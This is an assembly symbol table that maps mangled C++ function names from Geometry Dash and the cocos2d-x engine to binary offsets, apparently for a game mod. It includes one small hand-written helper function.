defit __ZN11GameManager11sharedStateEv, 0x1c2b30
defit __ZN11GameManager14reloadAllStep5Ev, 0x1d0b00
defit __ZN11GameManager15getGameVariableEPKc, 0x1cccd0
defit __ZN11GameManager15setGameVariableEPKcb, 0x1cca80
defit __ZN11GameManager20accountStatusChangedEv, 0x1cdad0
defit __ZN11GameManager4loadEv, 0x26ee20
defit __ZN11GameManager9reloadAllEbbb, 0x1d08a0
defit __ZN11GameManagerD0Ev, 0x1d0ff0
defit __ZN11GameManagerD1Ev, 0x1d0fe0
defit __ZN7cocos2d8CCObject7releaseEv, 0x250ea0
defit __ZN11GameToolbox18createToggleButtonESsMN7cocos2d8CCObjectEFvPS1_EbPNS0_6CCMenuENS0_7CCPointEPNS0_6CCNodeES9_fffS7_PKcbiPNS0_7CCArrayE, 0x28bdd0
defit __ZN12ButtonSprite6createEPKciifb, 0x4fa40
defit __ZN12ButtonSprite6createEPKc, 0x4fa10
defit __ZN12CCSpritePart25createWithSpriteFrameNameEPKc, 0x132dc0
defit __ZN7cocos2d7CCLayer12ccTouchBeganEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x2734d0
defit __ZN7cocos2d7CCLayer12ccTouchEndedEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x2735d0
defit __ZN7cocos2d7CCLayer12ccTouchMovedEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x273550
defit __ZN12FLAlertLayer14keyBackClickedEv, 0x273160
defit __ZNN7cocos2d7CCLayer16ccTouchCancelledEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x273650
defit __ZN12FLAlertLayer4showEv, 0x25f120
defit __ZN12FLAlertLayer6createEPvPKcRKSsS2_S2_f, 0x25e0e0
defit __ZN12FLAlertLayer7keyDownEN7cocos2d12enumKeyCodesE, 0x273280
defit __ZN12FLAlertLayer7onEnterEv, 0x273300
defit __ZN12FLAlertLayerC1Ev, 0x274270
defit __ZN12FLAlertLayerC2Ev, 0x274270 ; stupid clang
defit __ZN12FLAlertLayerD1Ev, 0x2727b0
defit __ZN12FLAlertLayerD2Ev, 0x2727b0 ; stupid clang
defit __ZN12FLAlertLayerD0Ev, 0x274410
defit __ZN12PlayerObject14setSecondColorERKN7cocos2d10_ccColor3BE, 0x219610
defit __ZN12PlayerObject15addAllParticlesEv, 0x2189b0
defit __ZN12PlayerObject6createEiiPN7cocos2d7CCLayerE, 0x217260
defit __ZN12PlayerObject8setColorERKN7cocos2d10_ccColor3BE, 0x22cdf0
defit __ZN12PlayerObject11flipGravityEbb, 0x21c090
defit __ZN12PlayerObject10pushButtonEi, 0x22aa00
defit __ZN13ObjectToolbox11sharedStateEv, 0x3b2bc0
defit __ZN13ObjectToolbox13intKeyToFrameEi, 0x4173b0
defit __ZN14GJSearchObject6createEiSsSsSsibbbibbbbbbbbii, 0x2dee30
defit __ZN16EditorPauseLayer6createEP16LevelEditorLayer, 0x13c680
defit __ZN16EditorPauseLayer9saveLevelEv, 0x13ebd0
defit __ZN16EditorPauseLayerD1Ev, 0x13c570
defit __ZN16GameLevelManager11sharedStateEv, 0x2a8340
defit __ZN16GameLevelManager14createNewLevelEv, 0x2b8180
defit __ZN15SetupSpawnPopup18createToggleButtonESsMN7cocos2d8CCObjectEFvPS1_EbPNS0_6CCMenuENS0_7CCPointEPNS0_7CCArrayE, 0x13b0e0
defit __ZN16GameSoundManager13sharedManagerEv, 0x3610f0
defit __ZN16GameSoundManager19stopBackgroundMusicEv, 0x362130
defit __ZN16GameSoundManagerD0Ev, 0x362cd0
defit __ZN16GameSoundManagerD1Ev, 0x362cc0
defit __ZN15GJBaseGameLayer10spawnGroupEi, 0xb7050
defit __ZN16GJAccountManager11sharedStateEv, 0x85070
defit __ZN16LevelEditorLayer14redoLastActionEv, 0x97750
defit __ZN16LevelEditorLayer14undoLastActionEv, 0x97770
defit __ZN16LevelEditorLayer16removeAllObjectsEv, 0x93d80
defit __ZN16LevelEditorLayer12handleActionEbPN7cocos2d7CCArrayE, 0x97020
defit __ZN16LevelEditorLayer23createObjectsFromStringESsb, 0x94730
defit __ZN16LevelEditorLayer12createObjectEiN7cocos2d7CCPointEb, 0x957c0
defit __ZN17CCMenuItemToggler11setSizeMultEf, 0x38a40
defit __ZN17CCMenuItemToggler6createEPN7cocos2d6CCNodeES2_PNS0_8CCObjectEMS3_FvS4_E, 0x38400
defit __ZN17CCMenuItemToggler6toggleEb, 0x38950
defit __ZN11GameToolbox16stringSetupToMapESsPKc, 0x28d4c0
defit __ZN17LevelBrowserLayer5sceneEP14GJSearchObject, 0x2511d0
defit __ZN21CCMenuItemSpriteExtra11setSizeMultEf, 0x1255e0
defit __ZN21CCMenuItemSpriteExtra6createEPN7cocos2d6CCNodeES2_PNS0_8CCObjectEMS3_FvS4_E, 0x1253c0
defit __ZN21MoreVideoOptionsLayer4initEv, 0x444150
defit __ZN21MoreVideoOptionsLayer6createEv, 0x443c10
defit __ZN7cocos2d10CCDirector10getWinSizeEv, 0x24a0f0
defit __ZN7cocos2d10CCDirector12getScreenTopEv, 0x24b200
defit __ZN7cocos2d10CCDirector13getScreenLeftEv, 0x24b220
defit __ZN7cocos2d10CCDirector14getScreenRightEv, 0x24b230
defit __ZN7cocos2d10CCDirector14sharedDirectorEv, 0x248cb0
defit __ZN7cocos2d10CCDirector15getScreenBottomEv, 0x24b210
defit __ZN7cocos2d10CCDirector18getTouchDispatcherEPv, 0x24afa0
defit __ZN7cocos2d10CCDirector9pushSceneEPNS_7CCSceneE, 0x24a620
defit __ZN7cocos2d7CCScene6createEv, 0x13c140
defit __ZN7cocos2d11CCLayerRGBA10getOpacityEv, 0x273be0
defit __ZN7cocos2d11CCLayerRGBA17getDisplayedColorEv, 0x273d80
defit __ZN7cocos2d11CCLayerRGBA18isOpacityModifyRGBEv, 0x006190
defit __ZN7cocos2d11CCLayerRGBA19getDisplayedOpacityEv, 0x273c00
defit __ZN7cocos2d11CCLayerRGBA19setOpacityModifyRGBEb, 0x006180
defit __ZN7cocos2d11CCLayerRGBA20updateDisplayedColorERKNS_10_ccColor3BE, 0x2740b0
defit __ZN7cocos2d11CCLayerRGBA21isCascadeColorEnabledEv, 0x274230
defit __ZN7cocos2d11CCLayerRGBA22setCascadeColorEnabledEb, 0x274250
defit __ZN7cocos2d11CCLayerRGBA22updateDisplayedOpacityEh, 0x273f20
defit __ZN7cocos2d11CCLayerRGBA23isCascadeOpacityEnabledEv, 0x2741f0
defit __ZN7cocos2d11CCLayerRGBA24setCascadeOpacityEnabledEb, 0x274210
defit __ZN7cocos2d11CCLayerRGBA8getColorEv, 0x273d60
defit __ZN7cocos2d11CCScheduler16scheduleSelectorEMNS_8CCObjectEFvfEPS1_fjfb, 0x242b20
defit __ZN7cocos2d11CCScheduler22unscheduleAllForTargetEPNS_8CCObjectE, 0x243e40
defit __ZN7cocos2d11CCScheduler23scheduleUpdateForTargetEPNS_8CCObjectEib, 0x2438d0
defit __ZN7cocos2d11CCTexture2D13initWithImageEPNS_7CCImageE, 0x246940
defit __ZN7cocos2d11CCTexture2DC1Ev, 0x246280
defit __ZN7cocos2d11CCTexture2DC2Ev, 0x246280
defit __ZN15CCTextInputNode6createEffPKcS1_iS1_, 0x5cfb0
defit __ZN15CCTextInputNode15setAllowedCharsESs, 0x5d360
defit __ZN15CCTextInputNode16setMaxLabelScaleEf, 0x5da30
defit __ZN15CCTextInputNode16setMaxLabelWidthEf, 0x5da50
defit __ZN15CCTextInputNode9setStringESs, 0x5d3e0
defit __ZN15CCTextInputNode9getStringEv, 0x5d6f0
; my own modification
global __ZN15CCTextInputNode11getString_sEv
__ZN15CCTextInputNode11getString_sEv:
push rbp
mov rbp, rsp
mov rdi, [rdi+0x1c0]
mov rax, [rdi]
call [rax+0x4b8]
pop rbp
ret
defit __ZN7cocos2d12CCDictionary11valueForKeyEl, 0x190cf0
defit __ZN7cocos2d12CCDictionary12objectForKeyERKSs, 0x190870
defit __ZN7cocos2d12CCDictionary12objectForKeyEi, 0x190bb0
defit __ZN7cocos2d12CCDictionary9setObjectEPNS_8CCObjectEl, 0x0191790
defit __ZN7cocos2d12CCDictionary9setObjectEPNS_8CCObjectERKSs, 0x190dc0
defit __ZN7cocos2d12CCDictionary7allKeysEv, 0x190450
defit __ZN15GJDropDownLayer4drawEv, 0x352910
defit __ZN7cocos2d12CCLayerColor11updateColorEv, 0x274ae0
defit __ZN7cocos2d12CCLayerColor12getBlendFuncEv, 0x274480
defit __ZN7cocos2d12CCLayerColor6createERKNS_10_ccColor4BEff, 0x2745e0
defit __ZN7cocos2d12CCLayerColor12setBlendFuncENS_12_ccBlendFuncE, 0x2744a0
defit __ZN7cocos2d12CCLayerColor10setOpacityEh, 0x274db0
defit __ZN7cocos2d12CCLayerColor13initWithColorERKNS_10_ccColor4BE, 0x2749a0
defit __ZN7cocos2d12CCLayerColor13initWithColorERKNS_10_ccColor4BEff, 0x274850
defit __ZN7cocos2d12CCLayerColor14setContentSizeERKNS_6CCSizeE, 0x2749f0
defit __ZN7cocos2d12CCLayerColor4drawEv, 0x123840
defit __ZN7cocos2d12CCLayerColor4initEv, 0x274800
defit __ZN7cocos2d12CCLayerColor8setColorERKNS_10_ccColor3BE, 0x274c20
defit __ZN7cocos2d12CCLayerColorD0Ev, 0x272930
defit __ZN7cocos2d12CCLayerColorD1Ev, 0x272900
defit __ZN7cocos2d13CCLabelBMFont6createEPKcS2_, 0x347660
defit __ZN7cocos2d13CCLabelBMFont8setScaleEf, 0x34a5d0
defit __ZN7cocos2d13CCLabelBMFont9setStringEPKcb, 0x3489e0
defit __ZN7cocos2d16CCTransitionFade6createEfPNS_7CCSceneE, 0x8ea30
defit __ZN7cocos2d17CCTouchDispatcher18incrementForcePrioEi, 0x280f60
defit __ZN7cocos2d6CCMenu6createEv, 0x438720
defit __ZN7cocos2d6CCNode6createEv, 0x1230a0
defit __ZN7cocos2d6CCNode10_setZOrderEi, 0x122990
defit __ZN7cocos2d6CCNode10getVertexZEv, 0x1229e0
defit __ZN7cocos2d6CCNode10setVertexZEf, 0x1229f0
defit __ZN7cocos2d6CCNode10setVisibleEb, 0x122d60
defit __ZN7cocos2d6CCNode10unscheduleEMNS_8CCObjectEFvfE, 0x124180
defit __ZN7cocos2d6CCNode11getChildrenEv, 0x122c80
defit __ZN7cocos2d6CCNode11getPositionEPfS1_, 0x122b90
defit __ZN7cocos2d6CCNode11getPositionEv, 0x122b60
defit __ZN7cocos2d6CCNode11getRotationEv, 0x122a00
defit __ZN7cocos2d6CCNode11getUserDataEv, 0x122f30
defit __ZN7cocos2d6CCNode11removeChildEPS0_, 0x123460
defit __ZN7cocos2d6CCNode11removeChildEPS0_b, 0x123480
defit __ZN7cocos2d6CCNode11setPositionEff, 0x122ba0
defit __ZN7cocos2d6CCNode11setPositionERKNS_7CCPointE, 0x122b70
defit __ZN7cocos2d6CCNode11setRotationEf, 0x122a10
defit __ZN7cocos2d6CCNode11setUserDataEPv, 0x122f40
defit __ZN7cocos2d6CCNode12addComponentEPNS_11CCComponentE, 0x124a40
defit __ZN7cocos2d6CCNode12getPositionXEv, 0x122be0
defit __ZN7cocos2d6CCNode12getPositionYEv, 0x122bf0
defit __ZN7cocos2d6CCNode12getRotationXEv, 0x122a50
defit __ZN7cocos2d6CCNode12getRotationYEv, 0x122a80
defit __ZN7cocos2d6CCNode12getSchedulerEv, 0x123f70
defit __ZN7cocos2d6CCNode12reorderChildEPS0_i, 0x123760
defit __ZN7cocos2d6CCNode12setPositionXEf, 0x122c00
defit __ZN7cocos2d6CCNode12setPositionYEf, 0x122c40
defit __ZN7cocos2d6CCNode12setRotationXEf, 0x122a60
defit __ZN7cocos2d6CCNode12setRotationYEf, 0x122a90
defit __ZN7cocos2d6CCNode12setSchedulerEPNS_11CCSchedulerE, 0x123f20
defit __ZN7cocos2d6CCNode13getChildByTagEi, 0x123220
defit __ZN7cocos2d6CCNode13getUserObjectEv, 0x122f80
defit __ZN7cocos2d6CCNode13setUserObjectEPNS_8CCObjectE, 0x122fb0
defit __ZN7cocos2d6CCNode14getAnchorPointEv, 0x122d80
defit __ZN7cocos2d6CCNode14setAnchorPointERKNS_7CCPointE, 0x122d90
defit __ZN7cocos2d6CCNode14setContentSizeERKNS_6CCSizeE, 0x122e50
defit __ZN7cocos2d6CCNode15removeComponentEPKc, 0x124a60
defit __ZN7cocos2d6CCNode15removeComponentEPNS_11CCComponentE, 0x124a80
defit __ZN7cocos2d6CCNode15sortAllChildrenEv, 0x1237b0
defit __ZN7cocos2d6CCNode15updateTransformEv, 0x1249d0
defit __ZN7cocos2d6CCNode16getActionManagerEv, 0x123e50
defit __ZN7cocos2d6CCNode16getGLServerStateEv, 0x122f90
defit __ZN7cocos2d6CCNode16getShaderProgramEv, 0x122f70
defit __ZN7cocos2d6CCNode16removeChildByTagEi, 0x1235a0
defit __ZN7cocos2d6CCNode16removeChildByTagEib, 0x1235c0
defit __ZN7cocos2d6CCNode16removeFromParentEv, 0x1233f0
defit __ZN7cocos2d6CCNode16setActionManagerEPNS_15CCActionManagerE, 0x123e00
defit __ZN7cocos2d6CCNode16setGLServerStateENS_15ccGLServerStateE, 0x122fa0
defit __ZN7cocos2d6CCNode16setShaderProgramEPNS_11CCGLProgramE, 0x122ff0
defit __ZN7cocos2d6CCNode17getOrderOfArrivalEv, 0x122f50
defit __ZN7cocos2d6CCNode17removeAllChildrenEv, 0x123600
defit __ZN7cocos2d6CCNode17setOrderOfArrivalEj, 0x122f60
defit __ZN7cocos2d6CCNode17updateTweenActionEfPKc, 0x1249c0
defit __ZN7cocos2d6CCNode18convertToNodeSpaceERKNS_7CCPointE, 0x124750
defit __ZN7cocos2d6CCNode18removeMeAndCleanupEv, 0x123440
defit __ZN7cocos2d6CCNode19removeAllComponentsEv, 0x124aa0
defit __ZN7cocos2d6CCNode20getScaledContentSizeEv, 0x122e10
defit __ZN7cocos2d6CCNode20nodeToWorldTransformEv, 0x124670
defit __ZN7cocos2d6CCNode20worldToNodeTransformEv, 0x124710
defit __ZN7cocos2d6CCNode21nodeToParentTransformEv, 0x124210
defit __ZN7cocos2d6CCNode21parentToNodeTransformEv, 0x1245d0
defit __ZN7cocos2d6CCNode21registerScriptHandlerEi, 0x123d90
defit __ZN7cocos2d6CCNode22getAnchorPointInPointsEv, 0x122d70
defit __ZN7cocos2d6CCNode23unregisterScriptHandlerEv, 0x123dc0
defit __ZN7cocos2d6CCNode24onExitTransitionDidStartEv, 0x123c00
defit __ZN7cocos2d6CCNode26onEnterTransitionDidFinishEv, 0x123b90
defit __ZN7cocos2d6CCNode26removeFromParentAndCleanupEb, 0x123410
defit __ZN7cocos2d6CCNode28ignoreAnchorPointForPositionEb, 0x122f00
defit __ZN7cocos2d6CCNode28removeAllChildrenWithCleanupEb, 0x123620
defit __ZN7cocos2d6CCNode30isIgnoreAnchorPointForPositionEv, 0x122ef0
defit __ZN7cocos2d6CCNode4drawEv, 0x123840
defit __ZN7cocos2d6CCNode4initEv, 0x122910
defit __ZN7cocos2d6CCNode5visitEv, 0x123850
defit __ZN7cocos2d6CCNode6onExitEv, 0x123ca0
defit __ZN7cocos2d6CCNode6updateEf, 0x1241a0
defit __ZN7cocos2d6CCNode7cleanupEv, 0x123100
defit __ZN7cocos2d6CCNode7getGridEv, 0x122d00
defit __ZN7cocos2d6CCNode7onEnterEv, 0x123a90
defit __ZN7cocos2d6CCNode7setGridEPNS_10CCGridBaseE, 0x122d10
defit __ZN7cocos2d6CCNode8addChildEPS0_, 0x1233d0
defit __ZN7cocos2d6CCNode8addChildEPS0_i, 0x1233b0
defit __ZN7cocos2d6CCNode8addChildEPS0_ii, 0x1232a0
defit __ZN7cocos2d6CCNode8getScaleEv, 0x122ab0
defit __ZN7cocos2d6CCNode8getSkewXEv, 0x122920
defit __ZN7cocos2d6CCNode8getSkewYEv, 0x122950
defit __ZN7cocos2d6CCNode8scheduleEMNS_8CCObjectEFvfEf, 0x124120
defit __ZN7cocos2d6CCNode8setScaleEf, 0x122ac0
defit __ZN7cocos2d6CCNode8setScaleEff, 0x122ae0
defit __ZN7cocos2d6CCNode8setSkewXEf, 0x122930
defit __ZN7cocos2d6CCNode8setSkewYEf, 0x122960
defit __ZN7cocos2d6CCNode9getCameraEv, 0x122cb0
defit __ZN7cocos2d6CCNode9getParentEv, 0x122ed0
defit __ZN7cocos2d6CCNode9getScaleXEv, 0x122b00
defit __ZN7cocos2d6CCNode9getScaleYEv, 0x122b30
defit __ZN7cocos2d6CCNode9getZOrderEv, 0x122980
defit __ZN7cocos2d6CCNode9isRunningEv, 0x122ec0
defit __ZN7cocos2d6CCNode9isVisibleEv, 0x122d50
defit __ZN7cocos2d6CCNode9setParentEPS0_, 0x122ee0
defit __ZN7cocos2d6CCNode9setScaleXEf, 0x122b10
defit __ZN7cocos2d6CCNode9setScaleYEf, 0x122b40
defit __ZN7cocos2d6CCNode9setZOrderEi, 0x1229a0
defit __ZN7cocos2d6CCNodeC1Ev, 0x122550
defit __ZN7cocos2d6CCNodeC2Ev, 0x122550
defit __ZN7cocos2d6CCNodeD0Ev, 0x1228e0
defit __ZN7cocos2d6CCNodeD1Ev, 0x1228d0
defit __ZN7cocos2d6CCNodeD2Ev, 0x1228d0 ; stupid clang
defit __ZN7cocos2d6CCRect14intersectsRectERKS0_, 0x137800
defit __ZN7cocos2d6CCRect7getMaxXEv, 0x137710
defit __ZN7cocos2d6CCRect7getMaxYEv, 0x137760
defit __ZN7cocos2d6CCRect7getMinXEv, 0x137750
defit __ZNK7cocos2d6CCRect7getMinYEv, 0x1377a0
defit __ZN7cocos2d6CCRectaSERKS0_, 0x137670
defit __ZN7cocos2d6CCRectC1Effff, 0x137020
defit __ZN7cocos2d6CCRectC1ERKS0_, 0x137630
defit __ZN7cocos2d6CCRectC2Ev, 0x1375a0
defit __ZN7cocos2d6CCSizeC1Eff, 0x137010
defit __ZN7cocos2d7CCArray13objectAtIndexEj, 0x41a340
defit __ZN7cocos2d7CCArray6createEv, 0x419cb0
defit __ZN7cocos2d7CCArray9addObjectEPNS_8CCObjectE, 0x419f90
defit __ZN7cocos2d7CCArray19removeObjectAtIndexEjb, 0x41a4b0
defit __ZN7cocos2d7CCImage17initWithImageDataEPviNS0_12EImageFormatEiii, 0x24fcb0
defit __ZN7cocos2d7CCImageC1Ev, 0x24fa00
defit __ZN7cocos2d7CCLayer12ccTouchBeganEPNS_7CCTouchEPNS_7CCEventE, 0x2734d0
defit __ZN7cocos2d7CCLayer12ccTouchEndedEPNS_7CCTouchEPNS_7CCEventE, 0x2735d0
defit __ZN7cocos2d7CCLayer12ccTouchMovedEPNS_7CCTouchEPNS_7CCEventE, 0x273550
defit __ZN7cocos2d7CCLayer12getTouchModeEv, 0x272e10
defit __ZN7cocos2d7CCLayer12setTouchModeENS_13ccTouchesModeE, 0x272d60
defit __ZN7cocos2d7CCLayer13didAccelerateEPNS_14CCAccelerationE, 0x272ea0
defit __ZN7cocos2d7CCLayer14ccTouchesBeganEPNS_5CCSetEPNS_7CCEventE, 0x2736d0
defit __ZN7cocos2d7CCLayer14ccTouchesEndedEPNS_5CCSetEPNS_7CCEventE, 0x2737d0
defit __ZN7cocos2d7CCLayer14ccTouchesMovedEPNS_5CCSetEPNS_7CCEventE, 0x273750
defit __ZN7cocos2d7CCLayer14isMouseEnabledEv, 0x273090
defit __ZN7cocos2d7CCLayer14isTouchEnabledEv, 0x272ce0
defit __ZN7cocos2d7CCLayer14keyBackClickedEv, 0x273160
defit __ZN7cocos2d7CCLayer14keyMenuClickedEv, 0x273200
defit __ZN7cocos2d7CCLayer15isKeypadEnabledEv, 0x272f70
defit __ZN7cocos2d7CCLayer15setMouseEnabledEb, 0x2730a0
defit __ZN7cocos2d7CCLayer15setTouchEnabledEb, 0x272cf0
defit __ZN7cocos2d7CCLayer16ccTouchCancelledEPNS_7CCTouchEPNS_7CCEventE, 0x273650
defit __ZN7cocos2d7CCLayer16getTouchPriorityEv, 0x272e00
defit __ZN7cocos2d7CCLayer16setKeypadEnabledEb, 0x272f80
defit __ZN7cocos2d7CCLayer16setTouchPriorityEi, 0x272db0
defit __ZN7cocos2d7CCLayer17isKeyboardEnabledEv, 0x273010
defit __ZN7cocos2d7CCLayer18ccTouchesCancelledEPNS_5CCSetEPNS_7CCEventE, 0x273850
defit __ZN7cocos2d7CCLayer18setKeyboardEnabledEb, 0x273020
defit __ZN7cocos2d7CCLayer22isAccelerometerEnabledEv, 0x272e20
defit __ZN7cocos2d7CCLayer23setAccelerometerEnabledEb, 0x272e30
defit __ZN7cocos2d7CCLayer24setAccelerometerIntervalEd, 0x272e70
defit __ZN7cocos2d7CCLayer26onEnterTransitionDidFinishEv, 0x273490
defit __ZN7cocos2d7CCLayer26registerScriptTouchHandlerEibib, 0x272bd0
defit __ZN7cocos2d7CCLayer28unregisterScriptTouchHandlerEv, 0x272c30
defit __ZN7cocos2d7CCLayer6createEv, 0x272a00
defit __ZN7cocos2d7CCLayer6onExitEv, 0x2733c0
defit __ZN7cocos2d7CCLayer7keyDownENS_12enumKeyCodesE, 0x273280
defit __ZN7cocos2d7CCLayer7onEnterEv, 0x273300
defit __ZN7cocos2d7CCPoint6equalsEPvRKS0_, 0x1371d0
defit __ZN7cocos2d7CCPointaSERKS0_, 0x1370c0
defit __ZN7cocos2d7CCPointC1Eff, 0x137000
defit __ZN7cocos2d7CCPointC1Ev, 0x137060
defit __ZN7cocos2d7CCPointC2ERKS0_, 0x137090
defit __ZN7cocos2d7CCPointC1ERKS0_, 0x137090
defit __ZN7cocos2d7CCPointmiERKS0_, 0x137120
defit __ZN7cocos2d8CCObject11autoreleaseEv, 0x250ed0
defit __ZN7cocos2d8CCObject13acceptVisitorERNS_13CCDataVisitorE, 0x250f30
defit __ZN7cocos2d8CCObject15encodeWithCoderEP13DS_Dictionary, 0x250f70
defit __ZN7cocos2d8CCObject6retainEv, 0x250ec0
defit __ZN7cocos2d8CCObject6setTagEi, 0x250f60
defit __ZN7cocos2d8CCObject7isEqualEPKS0_, 0x250f20
defit __ZN7cocos2d8CCObject9canEncodeEv, 0x250f90
defit __ZN7cocos2d8CCObjectC1Ev, 0x250ca0
defit __ZN7cocos2d8CCObjectD1Ev, 0x250d20
defit __ZN7cocos2d8CCSprite25createWithSpriteFrameNameEPKc, 0x132dc0
defit __ZN7cocos2d8CCSprite6createEv, 0x132df0
defit __ZN7cocos2d8CCSpriteC1Ev, 0x124ac0
defit __ZN7cocos2d8CCString11doubleValueEv, 0x44c7f0
defit __ZN7cocos2d8CCString16createWithFormatEPKcz, 0x44cab0
defit __ZN7cocos2d8CCString8intValueEv, 0x44c780
defit __ZN7cocos2d8CCString9boolValueEv, 0x44c810
defit __ZN7cocos2d9CCCopying12copyWithZoneEPNS_6CCZoneE, 0x250c90
defit __ZN7cocos2d9extension14CCScale9Sprite14setContentSizeERKNS_6CCSizeE, 0x2127c0
defit __ZN7cocos2d9extension14CCScale9Sprite6createEPKcNS_6CCRectE, 0x212ef0
defit __ZN7cocos2d9extension14CCScale9Sprite6createEPKc, 0x2130d0
defit __ZN8EditorUI12pasteObjectsESs, 0x232d0
defit __ZN8EditorUI13selectObjectsEPN7cocos2d7CCArrayEb, 0x23940
defit __ZN8EditorUI14redoLastActionEv, 0xb8e0
defit __ZN8EditorUI14undoLastActionEv, 0xb830
defit __ZN8EditorUI18getSelectedObjectsEv, 0x23f30
defit __ZN8EditorUI12getCreateBtnEii, 0x1f6c0
defit __ZN8EditorUI13updateButtonsEv, 0x1a300
defit __ZN8EditorUI11deselectAllEv, 0x1f300
defit __ZN8EditorUI11onDuplicateEPN7cocos2d8CCObjectE, 0x18ba0
defit __ZN13EditButtonBar13loadFromItemsEPN7cocos2d7CCArrayEiib, 0x351010
defit __ZN9InfoLayer17onRefreshCommentsEPN7cocos2d8CCObjectE, 0x459b60
defit __ZN9InfoLayer8loadPageEib, 0x458fb0
defit __ZN9MenuLayer14keyBackClickedEv, 0x1d3170
defit __ZN9MenuLayer6onQuitEPN7cocos2d8CCObjectE, 0x1d2b40
defit __ZNK7cocos2d6CCNode14getContentSizeEv, 0x122e00
defit __ZNK7cocos2d6CCNode16getChildrenCountEv, 0x122c90
defit __ZNK7cocos2d7CCArray5countEv, 0x41a2f0
defit __ZNK7cocos2d7CCPointplERKS0_, 0x1370f0
defit __ZNK7cocos2d7CCPointmiERKS0_, 0x137120
defit __ZNK7cocos2d8CCObject6getTagEv, 0x250f50
defit __ZNK7cocos2d8CCString10getCStringEv, 0x44c470
defit __ZN9PlayLayer6createEP11GJGameLevel, 0x6b590
defit __ZN9PlayLayer13switchToSceneEP11GJGameLevel, 0xe5d50
defit __ZN9PlayLayer6updateEf, 0x77900
defit __ZN9PlayLayer10resetLevelEv, 0x71c50
defit __ZN11GJGameLevel6createEv, 0x2b83e0
defit __ZThn288_N12FLAlertLayer12ccTouchBeganEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x273510
defit __ZThn288_N12FLAlertLayer12ccTouchMovedEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x273590
defit __ZThn288_N12FLAlertLayer12ccTouchEndedEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x273610
defit __ZThn288_N12FLAlertLayer16ccTouchCancelledEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x273690
defit __ZThn288_N7cocos2d7CCLayer14ccTouchesBeganEPNS_5CCSetEPNS_7CCEventE, 0x273710
defit __ZThn288_N7cocos2d7CCLayer14ccTouchesMovedEPNS_5CCSetEPNS_7CCEventE, 0x273790
defit __ZThn288_N7cocos2d7CCLayer14ccTouchesEndedEPNS_5CCSetEPNS_7CCEventE, 0x273810
defit __ZThn288_N7cocos2d7CCLayer18ccTouchesCancelledEPNS_5CCSetEPNS_7CCEventE, 0x273890
defit __ZThn296_N7cocos2d7CCLayer13didAccelerateEPNS_14CCAccelerationE, 0x272ee0
defit __ZThn304_N7cocos2d7CCLayer14keyMenuClickedEv, 0x273240
defit __ZThn304_N12FLAlertLayer14keyBackClickedEv, 0x25ed90
defit __ZThn312_N12FLAlertLayer7keyDownEN7cocos2d12enumKeyCodesE, 0x2732c0
defit __ZN7cocos2d18CCKeyboardDelegate5keyUpENS_12enumKeyCodesE, 0x61a0
defit __ZN7cocos2d15CCMouseDelegate12rightKeyDownEv, 0x61b0
defit __ZN7cocos2d15CCMouseDelegate10rightKeyUpEv, 0x61c0
defit __ZN7cocos2d15CCMouseDelegate11scrollWheelEff, 0x61d0
defit __ZThn368_N7cocos2d12CCLayerColor8setColorERKNS_10_ccColor3BE, 0x274cf0
defit __ZThn368_N7cocos2d11CCLayerRGBA8getColorEv, 0x273d70
defit __ZThn368_N7cocos2d11CCLayerRGBA17getDisplayedColorEv, 0x273d90
defit __ZThn368_N7cocos2d11CCLayerRGBA19getDisplayedOpacityEv, 0x273c10
defit __ZThn368_N7cocos2d11CCLayerRGBA10getOpacityEv, 0x273bf0
defit __ZThn368_N7cocos2d12CCLayerColor10setOpacityEh, 0x274e50
defit __ZThn368_N7cocos2d11CCLayerRGBA19setOpacityModifyRGBEb, 0x0061e0
defit __ZThn368_N7cocos2d11CCLayerRGBA18isOpacityModifyRGBEv, 0x0061f0
defit __ZThn368_N7cocos2d11CCLayerRGBA21isCascadeColorEnabledEv, 0x274240
defit __ZThn368_N7cocos2d11CCLayerRGBA22setCascadeColorEnabledEb, 0x274260
defit __ZThn368_N7cocos2d11CCLayerRGBA20updateDisplayedColorERKNS_10_ccColor3BE, 0x2741d0
defit __ZThn368_N7cocos2d11CCLayerRGBA23isCascadeOpacityEnabledEv, 0x274200
defit __ZThn368_N7cocos2d11CCLayerRGBA24setCascadeOpacityEnabledEb, 0x274220
defit __ZThn368_N7cocos2d11CCLayerRGBA22updateDisplayedOpacityEh, 0x273ff0
defit __ZThn392_N7cocos2d12CCLayerColor12setBlendFuncENS_12_ccBlendFuncE, 0x2744b0
defit __ZThn392_N7cocos2d12CCLayerColor12getBlendFuncEv, 0x274490
defit __ZN8TextArea6createESsPKcffN7cocos2d7CCPointEfb, 0x19eb40
defit __ZN7cocos2d15CCRenderTexture6createEiiNS_22CCTexture2DPixelFormatE, 0x35c720
defit __ZN7cocos2d15CCRenderTexture5beginEv, 0x35ce10
defit __ZN7cocos2d15CCRenderTexture3endEv, 0x35d2c0
defit __ZN7cocos2d15CCRenderTexture10newCCImageEb, 0x35d7d0
defit __ZN15EndPortalObject12updateColorsEN7cocos2d10_ccColor3BE, 0x1dacb0
defit __Z10xCompSpeedPKvS0_, 0x6b030
defit __Z12xCompRealPosPKvS0_, 0x6b050
defit __ZN10GameObject16objectFromStringESsb, 0x33b720
defit __ZN11GameManager8loadFontEi, 0x1cc550
defit __ZN9PlayLayer9addObjectEP10GameObject, 0x70e50
defit __ZN10GameObject18calculateSpawnXPosEv, 0x336970
defit __ZN19LevelSettingsObject16objectFromStringESs, 0x945a0
defit __ZN10GameObject11setStartPosEN7cocos2d7CCPointE, 0x2fa520
defit __ZN15EndPortalObject6createEv, 0x1da8f0
defit __ZN10GameObject12setupCoinArtEv, 0x337dd0
defit __ZN15GJBaseGameLayer12addToSectionEP10GameObject, 0xb7b70
defit __ZN15GJEffectManager12updateColorsEN7cocos2d10_ccColor3BES1_, 0x180a40
defit __ZN7cocos2d14CCTextureCache18sharedTextureCacheEv, 0x356e00
defit __ZN7cocos2d14CCTextureCache8addImageEPKcb, 0x358120
defit __ZN7cocos2d8CCTintTo6createEfhhh, 0x1f82a0
defit __ZN7cocos2d8CCSprite6createEPKc, 0x132a80
defit __ZN14CreateMenuItem6createEPN7cocos2d6CCNodeES2_PNS0_8CCObjectEMS3_FvS4_E, 0x1c580
